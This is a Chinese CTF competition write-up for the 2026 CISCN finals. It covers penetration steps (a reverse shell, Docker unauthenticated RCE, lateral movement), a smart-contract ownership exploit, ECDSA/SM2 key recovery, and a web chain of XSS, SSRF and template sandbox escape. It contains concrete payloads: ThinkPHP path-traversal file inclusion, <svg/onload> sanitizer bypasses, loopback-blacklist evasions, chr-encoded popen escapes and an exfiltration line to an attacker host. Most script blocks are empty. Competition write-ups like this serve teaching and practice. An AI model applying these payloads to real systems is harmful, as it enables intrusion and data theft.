2026 ciscn final wp
第一天
渗透
信息收集
| |
看到apps和dify ai,想到cve-2025-55182
| |
flag{11111103b2ce49e4a541068d49111111}
反弹shell,这里用本机nc监听,平台会给一个网关和你vpn对应的端口进行反弹,用nc反弹
然后上去传fscan和stowaway起代理
| |
扫到docker未授权,挂载宿主机rce写ssh
| |
连上ssh之后每个容器进去看看,横向到postgres
| |
区块链只做了最简单的
执行过程(3 笔交易,均成功):
- changeOwner(0x5904…7b0c) — 把 owner 从部署者 0xebf5…cc9b61 改成你自己(该函
数漏写了权限检查,这是核心漏洞) - openDoor() — 现在你是 owner,passed[msg.sender] = true
- claimFlag() — 验证 passed 为 true,返回 flag 并标记已解决
注意:前两轮 openDoor 失败(status 0x0)是因为我手工写了错误的函数选择器(0xdb0e127a 不是 openDoor()),最后用 cast sig 计算正确选择器后一次通过。
| |
flag{555555d138832fc5818c7ff43d555555}
ctf
cry1
本地ai出两道密码
| |
This is a straightforward application of the attack described in the paper. The challenge gives you two affinely related nonces (k₂ = a·k₁ + b mod n) and the corresponding ECDSA signatures. Using the closed-form derivation from Equation 15 in the paper, you can recover the private key directly with modular arithmetic.
LostZA
| |
This challenge contains a critical signature malleability / nonce-leak vulnerability in the non-standard SM2 implementation. Here’s how to exploit it and recover the flag:
The custom sm2_sign_digest computes:
| |
The verification function checks:
| |
With two signatures, we can compute K = signing_public by trying both possible y-coordinates for the target x, then verifying against the second signature. Once we have signing_public, we can derive the SM4 encryption key and decrypt the flag.
✅ Recovered signing_public: 2d6d32007d94971fa55be37edbf0bb6639cc50b73d104bca403a83a1b4758069 🚩 FLAG: flag{7f0f6b5e-5b2a-4d85-9d73-3b3d1fb7158c}
第二天
不记录ctf了,就没写多少题,而且sb比赛一堆人作弊没法打
awdp
这里可能check机子坏了,我们的pwn和web死活修不上,问了别队的师傅都说很简单,而且思路都一样但是就是修不上,天要完nisa(
tp8
tp8_lang_probe-web01
审计结论(web1 · ThinkPHP 8 “ContentHub”)
漏洞点 1:任意文件包含 → 任意代码执行 / 源码泄漏 【高危,核心洞】
位置:vendor/topthink/framework/src/think/Lang.php → switchLangSet() 中新增的 @ 兼容分支
1 2 3 4 5if (str_starts_with($langset, '@')) { $local = ltrim(substr($langset, 1), '/\\'); $file = $this->app->getRootPath() . $local; if (is_file($file)) { include $file; } }触发链:
- config/lang.php:detect_var => ’locale’、allow_lang_list => [](空 = 不校验任何语言)、auto_detect_browser => true
- LoadLangPack::detect() 的 preg 允许 @ . / - _ 等字符,且 allow_lang_list 为空时任意值直接 setLangSet
- defaultLangSet() != $langset → switchLangSet() 进入 @ 分支
利用(URL 传参即可,?locale= / x-locale 头 / ops_locale Cookie 均可):
- 源码/文件内容泄漏:GET /?locale=@../../../../etc/passwd(ltrim 只剥前导 /,.. 可越过 rootPath,include 直接输出文件内
容)/?locale=@…/…/…/…/flag拿到flag
- 源码/文件内容泄漏:GET /?locale=@../../../../etc/passwd(ltrim 只剥前导 /,.. 可越过 rootPath,include 直接输出文件内
web3
ai复现
| |
然后脚本
| |
ctf
依旧ai复现一下web
Archive Hub
三个漏洞串联:XSS 进管理员浏览器 → SSRF 打内网模板引擎 → 模板沙箱逃逸 RCE 读 flag。
2. 漏洞 1:存储型 XSS(弱 HTML 清洗器)
render_markdown(L204)对以 < 开头的行调用 weak_sanitize_raw_html(L188):
| |
事件属性清洗正则 \s+on[...]+\s*=\s*("..."|'...') 有两个缺陷:
- 要求
on前有空白。<svg/onload="...">中/在on前,正则不匹配, 且 HTML 规范中/后跟属性名是合法的(self-closing start tag state回退到before attribute name state),浏览器会正常执行onload。 - 只剥带引号的值。即便写
<img src=x onerror=alert(1)>,也绕不过第一条; 反过来,若用不带引号的onerror=fetch('...'),HTML5 规定无引号属性值不得包含 单引号,浏览器会在第一个'处截断属性导致 JS 语法错误、根本不执行 (本地容器实测:onerror 未触发、只留下GET /admin/review/x404 请求)。
因此最终向量(带引号、可含空格/单引号):
| |
实测:weak_sanitize_raw_html('<svg/onload="alert(1)">') 原样返回,<img onload="alert(1)">
则被剥成 <img>。
上传入口:/upload(L497)解析 zip,manifest.json 指定 main 为 Markdown 文件
(parse_archive L733),内容落库后在文档页和 /admin/review/{id} 页原样渲染。
3. 漏洞 2:SSRF /admin/fetch(回环黑名单可绕过)
admin_fetch(约 L670-700):
| |
黑名单只比对主机名字符串,不比对解析后的 IP。glibc 的 inet_aton 支持多种
127.0.0.1 的等价写法,urllib 连接时解析到 127.0.0.1 却不会被拦截:
| 写法 | 解析结果 | 是否在黑名单 |
|---|---|---|
127.1 | 127.0.0.1 | 否 |
2130706433 | 127.0.0.1 | 否 |
0177.0.0.1(八进制) | 127.0.0.1 | 否 |
0x7f000001(十六进制) | 127.0.0.1 | 否 |
[::ffff:127.0.0.1] | 127.0.0.1(IPv6 映射) | 否 |
注意:
127.0.0.2这类"换最后一段"的写法不可靠——内部服务显式绑定INTERNAL_HOST = "127.0.0.1"(L28),Linux 内核按目的地址精确匹配监听 socket, 到 127.0.0.2 的 SYN 会被拒绝(本机实测 WinError 10061 拒绝连接)。127.1解析结果就是精确的 127.0.0.1,绑定匹配,万无一失。 (Windows 本机 resolver 不认127.1,只有 Linux/glibc 认;远端是 Linux。)
内网目标:http://127.1:9001/render?tpl={{...}},把模板注入打到内部渲染服务。
4. 漏洞 3:内部模板引擎 eval 沙箱逃逸 → RCE
InternalHandler.do_GET(L800 附近)直接以 tpl 参数调用 render_internal_template(L818):
| |
沙箱:__builtins__={}、可用对象只有 cfg/h/title,源码文本含 _/os/flag 等
即被拒。三个关键事实:
TemplateHelper.c(L768)="".join(chr(int(c)) for c in codes)—— 任意字符串构造器;TemplateHelper.a(L770)=getattr—— 任意属性访问器;h.a是绑定方法,h.a.__func__.__globals__就是app.py模块全局字典 (里面有os、subprocess、ADMIN_BOT_TOKEN等)。拿到__func__/__globals__不需要在源码里写_,用h.c(95,95,102,...)动态拼即可。
逃逸表达式(源码文本不含任何被禁子串):
| |
其中 95,95,102,117,110,99,95,95 = __func__,95,95,103,108,111,98,97,108,115,95,95 =
__globals__,111,115 = os,112,111,112,101,110 = popen。命令同样用
h.c(99,97,116,32,47,102,108,97,103,...) 逐字符拼(cat /flag /flag.txt 2>/dev/null;env),
“flag” 只以数字形式出现,不触发黑名单。总长 274 字符 < 1000 上限。
附带发现(写 WP 顺手验证):ThemeConfig._load(L789-791) 无路径限制,任意文件读 4000 字节,
同样可经 h.a(cfg,h.c(95,108,111,97,100))(h.c(...路径...)) 调用;若 flag 是文件且 ≤4KB,
可省去 popen。cfg.public(L778) 有 normpath + realpath 限制,不可穿越。
5. 完整攻击链
| |
为什么不能直接偷 Cookie:会话 Cookie HttpOnly(L177),XSS 里 document.cookie 拿不到;
改用同源 fetch('/admin/fetch') 借管理员会话发请求,再让响应落到我们可读的笔记里。
外带也可换成 new Image().src='http://攻击者/?d='+encodeURIComponent(t),但笔记回传
零外部依赖,更适合 CTF。
脚本
| |
